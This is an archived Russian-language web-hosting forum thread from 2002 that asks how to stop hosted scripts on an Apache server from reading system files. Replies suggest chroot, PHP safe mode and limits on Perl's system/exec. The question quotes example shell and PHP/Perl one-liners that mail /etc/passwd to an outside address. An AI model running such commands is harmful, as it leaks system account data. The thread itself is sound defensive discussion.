The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка  RSS
"Секюрная настройка Apache для виртуального хостинга?"
Вариант для распечатки Архивированная нить - только для чтения! 
Пред. тема | След. тема 
Форумы WEB технологии (Public)
Изначальное сообщение [Проследить за развитием треда]

"Секюрная настройка Apache для виртуального хостинга?"
Сообщение от Andrew emailИскать по авторуВ закладки on 28-Фев-02, 22:47  (MSK)
Ткните носом, есть ли возможность закрыть доступ  скриптам к системным файлам например
bash скрипта
#!/bin/sh
mail user@domain.com -s passwd < /etc/passwd
или например
php Или perl скрипта
system("user\@domain.com -s passwd < /etc/passwd");
?
  Рекомендовать в FAQ | Cообщить модератору | Наверх

 Оглавление

Индекс форумов | Темы | Пред. тема | След. тема
Сообщения по теме

1. "RE: Секюрная настройка Apache для виртуального хостинга?"
Сообщение от uldus Искать по авторуВ закладки on 01-Мрт-02, 11:49  (MSK)
>Ткните носом, есть ли возможность закрыть
>доступ  скриптам к системным
>файлам например
>bash скрипта
>#!/bin/sh
>mail user@domain.com -s passwd < /etc/passwd
>
>или например
>php Или perl скрипта
>system("user\@domain.com -s passwd < /etc/passwd");
>?

для Perl и Shell - Chroot, в PHP есть внутренние средства ограничения области видимости системных файлов (safe mode).

  Рекомендовать в FAQ | Cообщить модератору | Наверх

2. "RE: Секюрная настройка Apache для виртуального хостинга?"
Сообщение от uldus Искать по авторуВ закладки on 01-Мрт-02, 11:56  (MSK)
>для Perl и Shell - Chroot,
>в PHP есть внутренние средства
>ограничения области видимости системных файлов
>(safe mode).

Кстати, можно запретить в perl выполенение system, `` и других функций с exec, или поставить свои обработчики, которые будут контолировать, что можно запускать, а что нет. perldoc perlrun

  Рекомендовать в FAQ | Cообщить модератору | Наверх


Удалить

Индекс форумов | Темы | Пред. тема | След. тема
Пожалуйста, прежде чем написать сообщение, ознакомьтесь с данными рекомендациями.




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру